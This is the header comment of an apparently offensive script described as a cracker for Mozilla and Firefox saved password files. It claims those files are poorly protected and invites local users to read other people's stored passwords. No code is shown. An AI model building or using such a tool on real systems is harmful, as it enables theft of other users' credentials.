# Mozilla saved password file cracker.
#
# Mozilla and its derivatives (including firefox, formerly known as firebird)
# don't take measures to ensure that the saved password files are properly protected
# which leaves them open for cracking by bad local users (like yourself) if 
# permissions allow the files to be read.  You'll be suprised how many you get!
#
# Only run this script if you understand what it does and have permission to view
# the data it may reveal.  Furthermore, I take no responsibility whatsoever for what
# you do (with this script or otherwise).  You've been warned.
